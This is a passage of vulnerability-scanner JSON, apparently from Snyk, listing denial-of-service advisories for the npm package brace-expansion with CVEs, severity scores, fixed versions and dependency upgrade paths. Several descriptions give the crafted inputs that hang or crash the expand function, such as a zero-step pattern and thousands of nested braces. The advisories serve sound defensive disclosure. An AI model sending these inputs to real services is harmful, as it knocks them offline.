"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
